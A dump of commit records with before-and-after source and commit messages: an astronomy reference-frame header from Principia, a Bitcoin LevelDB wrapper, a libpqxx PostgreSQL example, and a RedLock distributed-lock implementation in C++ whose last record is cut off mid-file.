origin is at the barycentre of the\n\/\/ extrasolar system.  The z axis goes from the extrasolar system to the Earth.\n\/\/ The xz plane is (approximately) the plane of the extrasolar system.\nusing Sky =\n    Frame<serialization::Frame::SolarSystemTag,\n          serialization::Frame::SKY, true>;\n\n}  \/\/ namespace internal_frames\n\nusing internal_frames::ICRS;\nusing internal_frames::GCRS;\nusing internal_frames::ITRS;\nusing internal_frames::Sky;\n\n}  \/\/ namespace astronomy\n}  \/\/ namespace principia\n<commit_msg>bcrs?<commit_after>﻿\n#pragma once\n\n#include <functional>\n\n#include \"geometry\/frame.hpp\"\n#include \"geometry\/named_quantities.hpp\"\n#include \"quantities\/si.hpp\"\n#include \"serialization\/geometry.pb.h\"\n\nnamespace principia {\nnamespace astronomy {\nnamespace internal_frames {\n\nusing geometry::Frame;\nusing geometry::Instant;\nusing geometry::Position;\nusing quantities::si::ArcMinute;\nusing quantities::si::ArcSecond;\nusing quantities::si::Degree;\n\n\/\/ The International Celestial Reference System.\n\/\/ The origin is the barycentre of the solar system.  The axes are fixed with\n\/\/ respect to the quasars.\n\/\/ The xy plane is close to the mean equator at J2000.0.\n\/\/ The x axis is close to the dynamical equinox at J2000.\n\/\/ The z axis is perpendicular to the xy plane and points to the northern side\n\/\/ of the xy plane.\n\/\/ To be honest:\n\/\/ - There are several realizations of the ICRS, namely ICRF (ICRF1) and its\n\/\/   extensions, ICRF2, and the optical Hipparcos Celestial Reference Frame\n\/\/   (HCRF); these realizations have different errors, but are consistent. ICRF3\n\/\/   is in preparation, as well as an optical realization based on Gaia data.\n\/\/ - The terms Barycentric Celestial Reference System (BCRS) and ICRS are often\n\/\/   used interchangeably; the relativistic framework, including the metric\n\/\/   tensor, is defined for the BCRS (IAU 2000 resolution B1.3); the orientation\n\/\/   of the BCRS is given by the ICRS axes unless otherwise stated (IAU 2006\n\/\/   resolution B2 recommendation 2).\nusing ICRS = Frame<serialization::Frame::SolarSystemTag,\n                   serialization::Frame::ICRS,\n                   \/*frame_is_inertial=*\/true>;\n\n\/\/ The Geocentric Celestial Reference System.\n\/\/ The origin is the centre of mass of the whole Earth system, including oceans\n\/\/ and atmosphere; the axes are those of the ICRS.\n\/\/ To be honest:\n\/\/ - The BCRS and GCRS are relativistic reference systems.\n\/\/ - The transformation between BCRS and GCRS spatial coordinates has no\n\/\/   rotational component, i.e., the GCRS is kinematically non-rotating with\n\/\/   respect to the BCRS; as a result, it rotates dynamically with respect to\n\/\/   the BCRS; in particular, the equations of motion in the GCRS include de\n\/\/   Sitter and Lense–Thirring precession.\n\/\/ - The time coordinate of the BCRS is TCB, and the time coordinate of the GCRS\n\/\/   is TCG; TT is a linear scaling of TCG, and TDB is a linear scaling of TDB;\n\/\/   for practical purposes TT and TDB are within 2 ms of each other;\n\/\/   Principia's |Instant| is TT.\nusing GCRS = Frame<serialization::Frame::SolarSystemTag,\n                   serialization::Frame::GCRS,\n                   \/*frame_is_inertial=*\/false>;\n\n\/\/ The International Terrestrial Reference System.\n\/\/ The origin is the centre of mass of the whole Earth system, including oceans\n\/\/ and atmosphere; there is no global residual rotation with respect to\n\/\/ horizontal motions at the earth's surface.\n\/\/ Practical notes:\n\/\/ - This is identical to WGS84 at 1 m level, and to recent realizations of WGS\n\/\/   84 at 10 cm level; the xz plane is a bit over a hundred metres from the\n\/\/   Royal Observatory in Greenwich.\n\/\/   Caveat: using |SphericalCoordinates<Length>| on ITRS coordinates is\n\/\/   inconsistent with WGS 84 latitudes; the WGS 84 geoid should be used.\n\/\/ - The ITRS is related to the European Terrestrial Reference System (ETRS89)\n\/\/   by a time-dependent rigid transformation.\n\/\/ To be honest:\n\/\/ - There are many realizations of the ITRS; as of this writing, ICRFs 89, 90,\n\/\/   91, 92, 93, 94, 96, 97, 2000, 2005, 2008, and 2014.  They are related by\n\/\/   linearly time-dependent linearized similarity transformations with nonzero\n\/\/   scaling, which the current abstractions of Principia cannot support; see\n\/\/   Transformation parameters from ITRF2014 to past ITRFs,\n\/\/   http:\/\/itrf.ensg.ign.fr\/doc_ITRF\/Transfo-ITRF2014_ITRFs.txt.  Identifying\n\/\/   recent ITRFs (2005 and later) results in errors of a few millimetres at the\n\/\/   geocentre, scale errors on the order of 1 part-per-billion, and angular\n\/\/   errors below 1 μas.  Identifying earlier ITRFs results in errors may result\n\/\/   in errors of tens of centimetres at the geocentre, scale errors on the\n\/\/   order of ten parts per billion, and arcsecond-level angular errors.\n\/\/ - ETRFyy is always related to the corresponding ITRFyy by a linearized rigid\n\/\/   transformation depending linearly on time, however it is related to other\n\/\/   ITRFs by time-dependent similarity with time-dependent nonzero scaling; see\n\/\/   the tables in EUREF Technical Note 1,\n\/\/   http:\/\/etrs89.ensg.ign.fr\/pub\/EUREF-TN-1.pdf\nusing ITRS = Frame<serialization::Frame::SolarSystemTag,\n                   serialization::Frame::ITRS,\n                   \/*frame_is_inertial=*\/false>;\n\n\/\/ The following two reference systems are both geocentric, and they share the\n\/\/ same z axis, the Celestial Intermediate Pole.  Their common xy plane is the\n\/\/ intermediate equator.\n\/\/ The rotation around the z axis relating the Terrestrial and Celestial\n\/\/ Intermediate Reference Systems, i.e., the angle between the Terrestrial and\n\/\/ Celestial Intermediate Origins, is the Earth Rotation Angle (ERA); the Earth\n\/\/ Rotation Angle is an affine function of UT1 defined by equation 5.14 of the\n\/\/ IERS conventions (2010).  Note that the rate is faster than 2π radians per\n\/\/ UT1 day, as UT1 is notionally mean solar days, whereas revolutions of the ERA\n\/\/ are stellar days.\n\n\/\/ The glossary of the Nomenclature for Fundamental Astronomy notes for both\n\/\/ that \"since the acronym for this system is close to another acronym (namely\n\/\/ [ITRS, respectively ICRS]), it is suggested that wherever possible the\n\/\/ complete name be used\".\n\n\/\/ The Terrestrial Intermediate Reference System.\n\/\/ The x axis is the Terrestrial Intermediate Origin.\n\/\/ The ITRS is related to the Terrestrial Intermediate Reference System by polar\n\/\/ motion, as described in sections 5.4.1 and 5.5.1 of the IERS conventions\n\/\/ (2010).\n\/\/ TODO(egg): identifying this with the ITRS, besides leading to acronym\n\/\/ confusion, results in arcsecond-level errors.\nusing TerrestrialIntermediateReferenceSystem = ITRS;\n\n\/\/ The origin is geocentric; the basis is right-handed and orthonormal, the xy\n\/\/ plane is the same as that of the Terrestrial Intermediate Reference System,\n\/\/ i.e., the intermediate equator.\n\/\/ The x axis is the Celestial Intermediate Origin.\n\/\/ The GCRS is related to the Celestial Intermediate Reference System by\n\/\/ precession-nutation and frame biases, see sections 5.4.4 and 5.5.4 of the\n\/\/ IERS conventions (2010).\n\/\/ TODO(egg): identifying this with the GCRS leads to errors on the order of 10\n\/\/ arcminutes at the time of this writing, and on the order of a degree over a\n\/\/ century.\nusing CelestialIntermediateReferenceSystem = GCRS;\n\n\/\/ A reference frame for transit exoplanetology.\n\/\/ The xy plane is the plane of the sky.  The origin is at the barycentre of the\n\/\/ extrasolar system.  The z axis goes from the extrasolar system to the Earth.\n\/\/ The xz plane is (approximately) the plane of the extrasolar system.\nusing Sky =\n    Frame<serialization::Frame::SolarSystemTag,\n          serialization::Frame::SKY, true>;\n\n}  \/\/ namespace internal_frames\n\nusing internal_frames::ICRS;\nusing internal_frames::GCRS;\nusing internal_frames::ITRS;\nusing internal_frames::Sky;\n\n}  \/\/ namespace astronomy\n}  \/\/ namespace principia\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Bitcoin developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"leveldb.h\"\n#include \"util.h\"\n\n#include <leveldb\/env.h>\n#include <leveldb\/cache.h>\n#include <leveldb\/filter_policy.h>\n#include <memenv\/memenv.h>\n\n#include <boost\/filesystem.hpp>\n\nvoid HandleError(const leveldb::Status &status) throw(leveldb_error) {\n    if (status.ok())\n        return;\n    if (status.IsCorruption())\n        throw leveldb_error(\"Database corrupted\");\n    if (status.IsIOError())\n        throw leveldb_error(\"Database I\/O error\");\n    if (status.IsNotFound())\n        throw leveldb_error(\"Database entry missing\");\n    throw leveldb_error(\"Unknown database error\");\n}\n\nstatic leveldb::Options GetOptions(size_t nCacheSize) {\n    leveldb::Options options;\n    options.block_cache = leveldb::NewLRUCache(nCacheSize \/ 2);\n    options.write_buffer_size = nCacheSize \/ 4; \/\/ up to two write buffers may be held in memory simultaneously\n    options.filter_policy = leveldb::NewBloomFilterPolicy(10);\n    options.compression = leveldb::kNoCompression;\n    return options;\n}\n\nCLevelDB::CLevelDB(const boost::filesystem::path &path, size_t nCacheSize, bool fMemory, bool fWipe) {\n    penv = NULL;\n    readoptions.verify_checksums = true;\n    iteroptions.verify_checksums = true;\n    iteroptions.fill_cache = false;\n    syncoptions.sync = true;\n    options = GetOptions(nCacheSize);\n    options.create_if_missing = true;\n    if (fMemory) {\n        penv = leveldb::NewMemEnv(leveldb::Env::Default());\n        options.env = penv;\n    } else {\n        if (fWipe) {\n            printf(\"Wiping LevelDB in %s\\n\", path.string().c_str());\n            leveldb::DestroyDB(path.string(), options);\n        }\n        boost::filesystem::create_directory(path);\n        printf(\"Opening LevelDB in %s\\n\", path.string().c_str());\n    }\n    leveldb::Status status = leveldb::DB::Open(options, path.string(), &pdb);\n    if (!status.ok())\n        throw std::runtime_error(strprintf(\"CLevelDB(): error opening database environment %s\", status.ToString().c_str()));\n    printf(\"Opened LevelDB successfully\\n\");\n}\n\nCLevelDB::~CLevelDB() {\n    delete pdb;\n    pdb = NULL;\n    delete options.filter_policy;\n    options.filter_policy = NULL;\n    delete options.block_cache;\n    options.block_cache = NULL;\n    delete penv;\n    options.env = NULL;\n}\n\nbool CLevelDB::WriteBatch(CLevelDBBatch &batch, bool fSync) throw(leveldb_error) {\n    leveldb::Status status = pdb->Write(fSync ? syncoptions : writeoptions, &batch.batch);\n    if (!status.ok()) {\n        printf(\"LevelDB write failure: %s\\n\", status.ToString().c_str());\n        HandleError(status);\n        return false;\n    }\n    return true;\n}\n<commit_msg>Reduce number of open LevelDB files to 64<commit_after>\/\/ Copyright (c) 2012 The Bitcoin developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"leveldb.h\"\n#include \"util.h\"\n\n#include <leveldb\/env.h>\n#include <leveldb\/cache.h>\n#include <leveldb\/filter_policy.h>\n#include <memenv\/memenv.h>\n\n#include <boost\/filesystem.hpp>\n\nvoid HandleError(const leveldb::Status &status) throw(leveldb_error) {\n    if (status.ok())\n        return;\n    if (status.IsCorruption())\n        throw leveldb_error(\"Database corrupted\");\n    if (status.IsIOError())\n        throw leveldb_error(\"Database I\/O error\");\n    if (status.IsNotFound())\n        throw leveldb_error(\"Database entry missing\");\n    throw leveldb_error(\"Unknown database error\");\n}\n\nstatic leveldb::Options GetOptions(size_t nCacheSize) {\n    leveldb::Options options;\n    options.block_cache = leveldb::NewLRUCache(nCacheSize \/ 2);\n    options.write_buffer_size = nCacheSize \/ 4; \/\/ up to two write buffers may be held in memory simultaneously\n    options.filter_policy = leveldb::NewBloomFilterPolicy(10);\n    options.compression = leveldb::kNoCompression;\n    options.max_open_files = 64;\n    return options;\n}\n\nCLevelDB::CLevelDB(const boost::filesystem::path &path, size_t nCacheSize, bool fMemory, bool fWipe) {\n    penv = NULL;\n    readoptions.verify_checksums = true;\n    iteroptions.verify_checksums = true;\n    iteroptions.fill_cache = false;\n    syncoptions.sync = true;\n    options = GetOptions(nCacheSize);\n    options.create_if_missing = true;\n    if (fMemory) {\n        penv = leveldb::NewMemEnv(leveldb::Env::Default());\n        options.env = penv;\n    } else {\n        if (fWipe) {\n            printf(\"Wiping LevelDB in %s\\n\", path.string().c_str());\n            leveldb::DestroyDB(path.string(), options);\n        }\n        boost::filesystem::create_directory(path);\n        printf(\"Opening LevelDB in %s\\n\", path.string().c_str());\n    }\n    leveldb::Status status = leveldb::DB::Open(options, path.string(), &pdb);\n    if (!status.ok())\n        throw std::runtime_error(strprintf(\"CLevelDB(): error opening database environment %s\", status.ToString().c_str()));\n    printf(\"Opened LevelDB successfully\\n\");\n}\n\nCLevelDB::~CLevelDB() {\n    delete pdb;\n    pdb = NULL;\n    delete options.filter_policy;\n    options.filter_policy = NULL;\n    delete options.block_cache;\n    options.block_cache = NULL;\n    delete penv;\n    options.env = NULL;\n}\n\nbool CLevelDB::WriteBatch(CLevelDBBatch &batch, bool fSync) throw(leveldb_error) {\n    leveldb::Status status = pdb->Write(fSync ? syncoptions : writeoptions, &batch.batch);\n    if (!status.ok()) {\n        printf(\"LevelDB write failure: %s\\n\", status.ToString().c_str());\n        HandleError(status);\n        return false;\n    }\n    return true;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <pqxx\/pqxx> \n\nusing namespace std;\nusing namespace pqxx;\n\n\/\/ clang++ update.cpp -o update -lpqxx -lpq\n\nint main() {\n   const char * sql;\n   \n   try {\n      connection C(\"dbname=benchcare user=synod password= \\\n      hostaddr=127.0.0.1 port=5432\");\n      if (C.is_open()) {\n         cout << \"Opened database successfully: \" << C.dbname() << endl;\n      } else {\n         cout << \"Can't open database\" << endl;\n         return 1;\n      }\n      \n      \/* Create a transactional object. *\/\n      work W(C);\n      \/* Create  SQL UPDATE statement *\/\n      sql = \"UPDATE COMPANY set SALARY = 25000.00 where ID=1\";\n      \/* Execute SQL query *\/\n      W.exec( sql );\n      W.commit();\n      cout << \"Records updated successfully\" << endl;\n      \n      \/* Create SQL SELECT statement *\/\n      sql = \"SELECT * from COMPANY\";\n\n      \/* Create a non-transactional object. *\/\n      nontransaction N(C);\n      \n      \/* Execute SQL query *\/\n      result R( N.exec( sql ));\n      \n      \/* List down all the records *\/\n      for (result::const_iterator c = R.begin(); c != R.end(); ++c) {\n         cout << \"ID = \" << c[0].as<int>() << endl;\n         cout << \"Name = \" << c[1].as<string>() << endl;\n         cout << \"Age = \" << c[2].as<int>() << endl;\n         cout << \"Address = \" << c[3].as<string>() << endl;\n         cout << \"Salary = \" << c[4].as<float>() << endl;\n      }\n      cout << \"Operation done successfully\" << endl;\n      C.disconnect ();\n   } catch (const std::exception &e) {\n      cerr << e.what() << std::endl;\n      return 1;\n   }\n\n   return 0;\n}\n<commit_msg>update ops<commit_after>#include <iostream>\n#include <pqxx\/pqxx>\n\nusing namespace std;\nusing namespace pqxx;\n\n\/\/ clang++ update.cpp -o update -lpqxx -lpq\n\nint main() {\n   const char * sql;\n   \n   try {\n      connection C(\"dbname=benchcare user=synod password= \\\n      hostaddr=127.0.0.1 port=5432\");\n      if (C.is_open()) {\n         cout << \"Opened database successfully: \" << C.dbname() << endl;\n      } else {\n         cout << \"Can't open database\" << endl;\n         return 1;\n      }\n      \n      \/* Create a transactional object. *\/\n      work W(C);\n      \/* Create  SQL UPDATE statement *\/\n      sql = \"UPDATE COMPANY set SALARY = 25000.00 where ID=1\";\n      \/* Execute SQL query *\/\n      W.exec( sql );\n      W.commit();\n      cout << \"Records updated successfully\" << endl;\n      \n      \/* Create SQL SELECT statement *\/\n      sql = \"SELECT * from COMPANY\";\n\n      \/* Create a non-transactional object. *\/\n      nontransaction N(C);\n      \n      \/* Execute SQL query *\/\n      result R( N.exec( sql ));\n      \n      \/* List down all the records *\/\n      for (result::const_iterator c = R.begin(); c != R.end(); ++c) {\n         cout << \"ID = \" << c[0].as<int>() << endl;\n         cout << \"Name = \" << c[1].as<string>() << endl;\n         cout << \"Age = \" << c[2].as<int>() << endl;\n         cout << \"Address = \" << c[3].as<string>() << endl;\n         cout << \"Salary = \" << c[4].as<float>() << endl;\n      }\n      cout << \"Operation done successfully\" << endl;\n      C.disconnect ();\n   } catch (const std::exception &e) {\n      cerr << e.what() << std::endl;\n      return 1;\n   }\n\n   return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* RedLock implement DLM(Distributed Lock Manager) with cpp.\n *\n * Copyright (c) 2014, jacketzhong <jacketzhong at gmail dot com>\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n *   * Redistributions of source code must retain the above copyright notice,\n *     this list of conditions and the following disclaimer.\n *   * Redistributions in binary form must reproduce the above copyright\n *     notice, this list of conditions and the following disclaimer in the\n *     documentation and\/or other materials provided with the distribution.\n *   * Neither the name of Redis nor the names of its contributors may be used\n *     to endorse or promote products derived from this software without\n *     specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <sys\/types.h>\n#include <unistd.h>\n#include <math.h>\n#include \"redlock.h\"\n\n\/* Turn the plain C strings into Sds strings *\/\nstatic char **convertToSds(int count, char** args) {\n    int j;\n    char **sds = (char**)malloc(sizeof(char*)*count);\n    for(j = 0; j < count; j++)\n        sds[j] = sdsnew(args[j]);\n    return sds;\n}\n\nCLock::CLock() : m_validityTime(0), m_resource(NULL), m_val(NULL) {\n}\n\nCLock::~CLock() {\n    sdsfree(m_resource);\n    sdsfree(m_val);\n}\n\nint CRedLock::m_defaultRetryCount = 3;\nint CRedLock::m_defaultRetryDelay = 200;\nfloat CRedLock::m_clockDriftFactor = 0.01;\n\n\/\/ ----------------\n\/\/ init redlock\n\/\/ ----------------\nCRedLock::CRedLock() {\n    Initialize();\n}\n\n\/\/ ----------------\n\/\/ release redlock\n\/\/ ----------------\nCRedLock::~CRedLock() {\n    sdsfree(m_continueLockScript);\n    sdsfree(m_unlockScript);\n    close(m_fd);\n    \/* Disconnects and frees the context *\/\n    for (int i = 0; i < (int)m_redisServer.size(); i++) {\n        redisFree(m_redisServer[i]);\n    }\n}\n\n\/\/ ----------------\n\/\/ Initialize the server: scripts...\n\/\/ ----------------\nbool CRedLock::Initialize() {\n    m_continueLockScript = sdsnew(\"if redis.call('get', KEYS[1]) == ARGV[1] then redis.call('del', KEYS[1]) end return redis.call('set', KEYS[1], ARGV[2], 'px', ARGV[3], 'nx')\");\n    m_unlockScript       = sdsnew(\"if redis.call('get', KEYS[1]) == ARGV[1] then return redis.call('del', KEYS[1]) else return 0 end\");\n    m_retryCount = m_defaultRetryCount;\n    m_retryDelay = m_defaultRetryDelay;\n    m_quoRum     = 0;\n    \/\/ open rand file\n    m_fd = open(\"\/dev\/urandom\", O_RDONLY);\n    if (m_fd == -1) {\n        \/\/Open error handling\n        printf(\"Can't open file \/dev\/urandom\\n\");\n        exit(-1);\n        return false;\n    }\n    return true;\n}\n\n\/\/ ----------------\n\/\/ add redis server\n\/\/ ----------------\nbool CRedLock::AddServerUrl(const char *ip, const int port) {\n    redisContext *c;\n    struct timeval timeout = { 1, 500000 }; \/\/ 1.5 seconds\n    c = redisConnectWithTimeout(ip, port, timeout);\n    if (c) {\n        m_redisServer.push_back(c);\n    }\n    m_quoRum = (int)m_redisServer.size() \/ 2 + 1;\n    return true;\n}\n\n\/\/ ----------------\n\/\/ set retry\n\/\/ ----------------\nvoid CRedLock::SetRetry(const int count, const int delay) {\n    m_retryCount = count;\n    m_retryDelay = delay;\n}\n\n\/\/ ----------------\n\/\/ lock the resource\n\/\/ ----------------\nbool CRedLock::Lock(const char *resource, const int ttl, CLock &lock) {\n    sds val = GetUniqueLockId();\n    if (!val) {\n        return false;\n    }\n    lock.m_resource = sdsnew(resource);\n    lock.m_val = val;\n    printf(\"Get the unique id is %s\\n\", val);\n    int retryCount = m_retryCount;\n    do {\n        int n = 0;\n        int startTime = (int)time(NULL) * 1000;\n        int slen = (int)m_redisServer.size();\n        for (int i = 0; i < slen; i++) {\n            if (LockInstance(m_redisServer[i], resource, val, ttl)) {\n                n++;\n            }\n        }\n        \/\/Add 2 milliseconds to the drift to account for Redis expires\n        \/\/precision, which is 1 millisecond, plus 1 millisecond min drift\n        \/\/for small TTLs.\n        int drift = (ttl * m_clockDriftFactor) + 2;\n        int validityTime = ttl - ((int)time(NULL) * 1000 - startTime) - drift;\n        printf(\"The resource validty time is %d, n is %d, quo is %d\\n\",\n               validityTime, n, m_quoRum);\n        if (n >= m_quoRum && validityTime > 0) {\n            lock.m_validityTime = validityTime;\n            return true;\n        } else {\n            Unlock(lock);\n        }\n        \/\/ Wait a random delay before to retry\n        int delay = rand() % m_retryDelay + floor(m_retryDelay \/ 2);\n        usleep(delay * 1000);\n        retryCount--;\n    } while (retryCount > 0);\n    return false;\n}\n\n\/\/ ----------------\n\/\/ release resource\n\/\/ ----------------\nbool CRedLock::ContinueLock(const char *resource, const int ttl, CLock &lock) {\n    sds val = GetUniqueLockId();\n    if (!val) {\n        return false;\n    }\n    lock.m_resource = sdsnew(resource);\n    lock.m_val = val;\n    if (m_continueLock.m_resource == NULL) {\n        m_continueLock.m_resource = sdsnew(resource);\n        m_continueLock.m_val = sdsnew(val);\n    }\n    printf(\"Get the unique id is %s\\n\", val);\n    int retryCount = m_retryCount;\n    do {\n        int n = 0;\n        int startTime = (int)time(NULL) * 1000;\n        int slen = (int)m_redisServer.size();\n        for (int i = 0; i < slen; i++) {\n            if (ContinueLockInstance(m_redisServer[i], resource, val, ttl)) {\n                n++;\n            }\n        }\n        \/\/ update old val\n        sdsfree(m_continueLock.m_val);\n        m_continueLock.m_val = sdsnew(val);\n        \/\/Add 2 milliseconds to the drift to account for Redis expires\n        \/\/precision, which is 1 millisecond, plus 1 millisecond min drift\n        \/\/for small TTLs.\n        int drift = (ttl * m_clockDriftFactor) + 2;\n        int validityTime = ttl - ((int)time(NULL) * 1000 - startTime) - drift;\n        printf(\"The resource validty time is %d, n is %d, quo is %d\\n\",\n               validityTime, n, m_quoRum);\n        if (n >= m_quoRum && validityTime > 0) {\n            lock.m_validityTime = validityTime;\n            return true;\n        } else {\n            Unlock(lock);\n        }\n        \/\/ Wait a random delay before to retry\n        int delay = rand() % m_retryDelay + floor(m_retryDelay \/ 2);\n        usleep(delay * 1000);\n        retryCount--;\n    } while (retryCount > 0);\n    return false;\n}\n\n\/\/ ----------------\n\/\/ lock the resource\n\/\/ ----------------\nbool CRedLock::Unlock(const CLock &lock) {\n    int slen = (int)m_redisServer.size();\n    for (int i = 0; i < slen; i++) {\n        UnlockInstance(m_redisServer[i], lock.m_resource, lock.m_val);\n    }\n    return true;\n}\n\n\/\/ ----------------\n\/\/ lock the resource milliseconds\n\/\/ ----------------\nbool CRedLock::LockInstance(redisContext *c, const char *resource,\n                            const char *val, const int ttl) {\n    redisReply *reply;\n    reply = (redisReply *)redisCommand(c, \"set %s %s px %d nx\",\n                                       resource, val, ttl);\n    printf(\"Set return: %s [null == fail, OK == success]\\n\", reply->str);\n    if (reply->str && strcmp(reply->str, \"OK\") == 0) {\n        freeReplyObject(reply);\n        return true;\n    }\n    freeReplyObject(reply);\n    return false;\n}\n\n\/\/ ----------------\n\/\/ 对redismaster续锁, 私有函数\n\/\/ ----------------\nbool CRedLock::ContinueLockInstance(redisContext *c, const char *resource,\n                                    const char *val, const int ttl) {\n    int argc = 7;\n    sds sdsTTL = sdsempty();\n    sdsTTL = sdscatprintf(sdsTTL, \"%d\", ttl);\n    char *continueLockScriptArgv[] = {(char*)\"EVAL\",\n                                      m_continueLockScript,\n                                      (char*)\"1\",\n                                      (char*)resource,\n                                      m_continueLock.m_val,\n                                      (char*)val,\n                                      sdsTTL};\n    redisReply *reply = RedisCommandArgv(c, argc, continueLockScriptArgv);\n    sdsfree(sdsTTL);\n    printf(\"Set return: %s [null == fail, OK == success]\\n\", reply->str);\n    if (reply->str && strcmp(reply->str, \"OK\") == 0) {\n        freeReplyObject(reply);\n        return true;\n    }\n    freeReplyObject(reply);\n    return false;\n}\n\n\/\/ ----------------\n\/\/ 对redismaster解锁\n\/\/ ----------------\nvoid CRedLock::UnlockInstance(redisContext *c, const char *resource,\n                              const char *val) {\n    int argc = 5;\n    char *unlockScriptArgv[] = {(char*)\"EVAL\",\n                                m_unlockScript,\n                                (char*)\"1\",\n                                (char*)resource,\n                                (char*)val};\n    redisReply *reply = RedisCommandArgv(c, argc, unlockScriptArgv);\n    freeReplyObject(reply);\n}\n\n\/\/ ----------------\n\/\/ 对redismaster执行脚本命令\n\/\/ ----------------\nredisReply * CRedLock::RedisCommandArgv(redisContext *c, int argc, char **inargv) {\n    char **argv;\n    argv = convertToSds(argc, inargv);\n    \/* Setup argument length *\/\n    size_t *argvlen;\n    argvlen = (size_t *)malloc(argc * sizeof(size_t));\n    for (int j = 0; j < argc; j++)\n        argvlen[j] = sdslen(argv[j]);\n    redisReply *reply = NULL;\n    reply = (redisReply *)redisCommandArgv(c, argc, (const char **)argv, argvlen);\n    printf(\"RedisCommandArgv return: %lld\\n\", reply->integer);\n    free(argvlen);\n    sdsfreesplitres(argv, argc);\n    return reply;\n}\n\n\/\/ ----------------\n\/\/ 获取唯一id\n\/\/ ----------------\nsds CRedLock::GetUniqueLockId() {\n    unsigned char buffer[20];\n    if (read(m_fd, buffer, sizeof(buffer)) == sizeof(buffer)) {\n        \/\/获取20byte的随机数据\n        sds s;\n        s = sdsempty();\n        for (int i = 0; i < 20; i++) {\n            s = sdscatprintf(s, \"%02X\", buffer[i]);\n        }\n        return s;\n    } else {\n        \/\/读取失败\n        printf(\"Error: GetUniqueLockId %d\\n\", __LINE__);\n    }\n    return NULL;\n}\n<commit_msg>fix the crash problem because of redis master crash<commit_after>\/* RedLock implement DLM(Distributed Lock Manager) with cpp.\n *\n * Copyright (c) 2014, jacketzhong <jacketzhong at gmail dot com>\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n *   * Redistributions of source code must retain the above copyright notice,\n *     this list of conditions and the following disclaimer.\n *   * Redistributions in binary form must reproduce the above copyright\n *     notice, this list of conditions and the following disclaimer in the\n *     documentation and\/or other materials provided with the distribution.\n *   * Neither the name of Redis nor the names of its contributors may be used\n *     to endorse or promote products derived from this software without\n *     specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <sys\/types.h>\n#include <unistd.h>\n#include <math.h>\n#include \"redlock.h\"\n\n\/* Turn the plain C strings into Sds strings *\/\nstatic char **convertToSds(int count, char** args) {\n    int j;\n    char **sds = (char**)malloc(sizeof(char*)*count);\n    for(j = 0; j < count; j++)\n        sds[j] = sdsnew(args[j]);\n    return sds;\n}\n\nCLock::CLock() : m_validityTime(0), m_resource(NULL), m_val(NULL) {\n}\n\nCLock::~CLock() {\n    sdsfree(m_resource);\n    sdsfree(m_val);\n}\n\nint CRedLock::m_defaultRetryCount = 3;\nint CRedLock::m_defaultRetryDelay = 200;\nfloat CRedLock::m_clockDriftFactor = 0.01;\n\n\/\/ ----------------\n\/\/ init redlock\n\/\/ ----------------\nCRedLock::CRedLock() {\n    Initialize();\n}\n\n\/\/ ----------------\n\/\/ release redlock\n\/\/ ----------------\nCRedLock::~CRedLock() {\n    sdsfree(m_continueLockScript);\n    sdsfree(m_unlockScript);\n    close(m_fd);\n    \/* Disconnects and frees the context *\/\n    for (int i = 0; i < (int)m_redisServer.size(); i++) {\n        redisFree(m_redisServer[i]);\n    }\n}\n\n\/\/ ----------------\n\/\/ Initialize the server: scripts...\n\/\/ ----------------\nbool CRedLock::Initialize() {\n    m_continueLockScript = sdsnew(\"if redis.call('get', KEYS[1]) == ARGV[1] then redis.call('del', KEYS[1]) end return redis.call('set', KEYS[1], ARGV[2], 'px', ARGV[3], 'nx')\");\n    m_unlockScript       = sdsnew(\"if 